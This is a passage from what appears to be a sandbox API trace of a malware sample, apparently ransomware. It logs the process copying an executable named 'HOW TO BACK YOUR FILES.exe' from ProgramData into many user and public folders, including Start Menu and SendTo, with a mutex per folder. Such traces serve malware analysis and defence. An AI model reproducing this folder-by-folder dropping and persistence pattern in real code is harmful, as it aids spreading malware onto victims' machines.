lpNewFileName="C:\\Users\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.753] CreateFileW (lpFileName="C:\\Users\\Default User\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.754] GetLastError () returned 0x0 [0100.754] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.754] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.754] CloseHandle (hObject=0xf4) returned 1 [0100.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.754] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.754] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7c6e4c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7c6e4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.754] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\SendTo" | out: lpString1="C:\\Users\\Default User\\SendTo") returned="C:\\Users\\Default User\\SendTo" [0100.754] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.754] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.755] CreateFileW (lpFileName="C:\\Users\\Default User\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.755] GetLastError () returned 0x0 [0100.755] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.755] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.755] CloseHandle (hObject=0xf4) returned 1 [0100.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.755] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.755] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d06a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.756] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Start Menu" | out: lpString1="C:\\Users\\Default User\\Start Menu") returned="C:\\Users\\Default User\\Start Menu" [0100.756] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.756] CreateFileW (lpFileName="C:\\Users\\Default User\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.756] GetLastError () returned 0x0 [0100.756] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.756] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.757] CloseHandle (hObject=0xf4) returned 1 [0100.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.757] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.757] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d2cba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d2cba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.757] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0100.757] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0100.757] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.757] FindNextFileW (in: hFindFile=0x529a50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0100.757] FindClose (in: hFindFile=0x529a50 | out: hFindFile=0x529a50) returned 1 [0100.757] ReleaseMutex (hMutex=0xec) returned 1 [0100.758] CloseHandle (hObject=0xec) returned 1 [0100.758] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Templates" | out: lpString1="C:\\Users\\Default User\\Templates") returned="C:\\Users\\Default User\\Templates" [0100.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50fef8 | out: hHeap=0x4f0000) returned 1 [0100.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b4f8 | out: hHeap=0x4f0000) returned 1 [0100.758] lstrlenW (lpString="C:\\Users\\Default User\\Templates") returned 31 [0100.758] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FF3B156C4F7CEDA04FBFEA35FDA27EEE") returned 0xec [0100.758] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.758] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Templates" | out: lpString1="C:\\Users\\Default User\\Templates") returned="C:\\Users\\Default User\\Templates" [0100.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.758] CreateFileW (lpFileName="C:\\Users\\Default User\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.759] GetLastError () returned 0x0 [0100.759] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.759] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.759] CloseHandle (hObject=0xf4) returned 1 [0100.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.759] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.759] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0100.759] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.760] CreateFileW (lpFileName="C:\\Users\\Default User\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.760] GetLastError () returned 0x0 [0100.760] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.760] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.760] CloseHandle (hObject=0xf4) returned 1 [0100.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.760] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.760] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.760] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0100.760] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.761] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.761] GetLastError () returned 0x0 [0100.761] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.761] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.761] CloseHandle (hObject=0xf4) returned 1 [0100.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.761] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.761] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a50 [0100.762] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0100.762] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.762] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.762] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.762] GetLastError () returned 0x0 [0100.762] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.762] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.763] CloseHandle (hObject=0xf4) returned 1 [0100.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.763] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.763] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a90 [0100.763] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.763] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.763] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.763] FindNextFileW (in: hFindFile=0x529a90, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.763] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.764] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.764] FindNextFileW (in: hFindFile=0x529a90, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.764] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.764] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.765] FindNextFileW (in: hFindFile=0x529a90, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.765] FindClose (in: hFindFile=0x529a90 | out: hFindFile=0x529a90) returned 1 [0100.765] ReleaseMutex (hMutex=0xec) returned 1 [0100.765] CloseHandle (hObject=0xec) returned 1 [0100.765] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0100.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529ad0 | out: hHeap=0x4f0000) returned 1 [0100.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b540 | out: hHeap=0x4f0000) returned 1 [0100.765] lstrlenW (lpString="C:\\Users\\Public\\Downloads") returned 25 [0100.765] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AD22FA03060D4DAA878E904D9DA23800") returned 0xec [0100.765] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.765] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0100.765] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.765] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.766] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.766] GetLastError () returned 0x0 [0100.766] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.766] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.767] CloseHandle (hObject=0xf4) returned 1 [0100.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.767] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.767] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7e83800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7e83800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529ad0 [0100.767] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Favorites" | out: lpString1="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0100.767] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.768] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.768] GetLastError () returned 0x0 [0100.768] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.768] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.768] CloseHandle (hObject=0xf4) returned 1 [0100.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.768] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.768] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", 